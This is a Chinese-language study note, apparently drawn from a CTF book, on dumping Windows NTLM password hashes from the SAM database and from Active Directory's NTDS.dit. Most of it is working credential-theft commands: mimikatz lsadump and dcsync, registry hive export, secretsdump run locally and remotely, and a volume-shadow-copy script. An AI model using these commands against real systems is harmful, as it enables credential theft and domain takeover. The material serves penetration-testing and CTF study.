内网渗透之获取hash身份凭证
0 前言
下文主要是从《从0到1的CTFer成长之路》阅读所做的笔记,以备忘总结为目的,归纳角度从原理和方法入手,直观体验是每个标题有两个子标题,分别为原理和方法
上文提到内网渗透之获取明文身份凭证,但有时如果拿不到明文的身份凭证又该怎么办,还有一种hash凭证可以获取。
1 SAM数据库
原理
审核 SAM,它使您能够审核通过尝试访问 SAM 安全帐户管理器或 SAM (生成的) 事件。安全帐户管理器 (SAM) 是运行 Windows 操作系统的计算机上存在的数据库,用于存储本地计算机上用户的用户帐户和安全描述符。SAM存放在注册表中,用户凭证是以NTLM HASH形式保存。上一篇将lsa的截图中sam也出场了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LCOzinwU-1614255605998)(media/16142420413654/16142425015835.jpg)]
简单科普一下NTLM hash
通常是指Windows系统下Security Account Manager中保存的用户密码hash
该hash的生成方法:
将明文口令转换成十六进制的格式
转换成Unicode格式,即在每个字节之后添加0x00
对Unicode字符串作MD4加密,生成32位的十六进制数字串
方法
(1) 上传mimikatz
privilege::debug
token::elevate
lsadump::sam
(2) 导出sam数据库本地解析
reg save HKLM\sam sam
reg save HKLM\system system
然后用mimikatz提取hash
lsadump::sam /sam:sam /system:system
或者使用
secretsdumps.py
secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
2 NTDS.dit
原理
中文名称是活动目录数据库,数据存储包含存储和管理用户、服务和应用程序的目录信息的 数据库文件和文件进程。
方法
(1)远程提取
secretsdump
secretsdumps.py -just-dc administrator:P@ssword@192.168.40.130
(2)本地提取
复制NTDS.ditd到本地然后用secretsdump提取
secretsdumps.py -ntds /tmp/ntds.dit - system /tmp//system.hiv LOCAL
其中复制可能会受到限制,治理要用css卷影复制
脚本
https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
usage:
Copy-VSS -DestinationDir C:\temp
(3)mimikatz
mimikatz通过dcsync特性获取域控的hash,usage
lsadump::dcsync /domain:lzly.lab /all /csv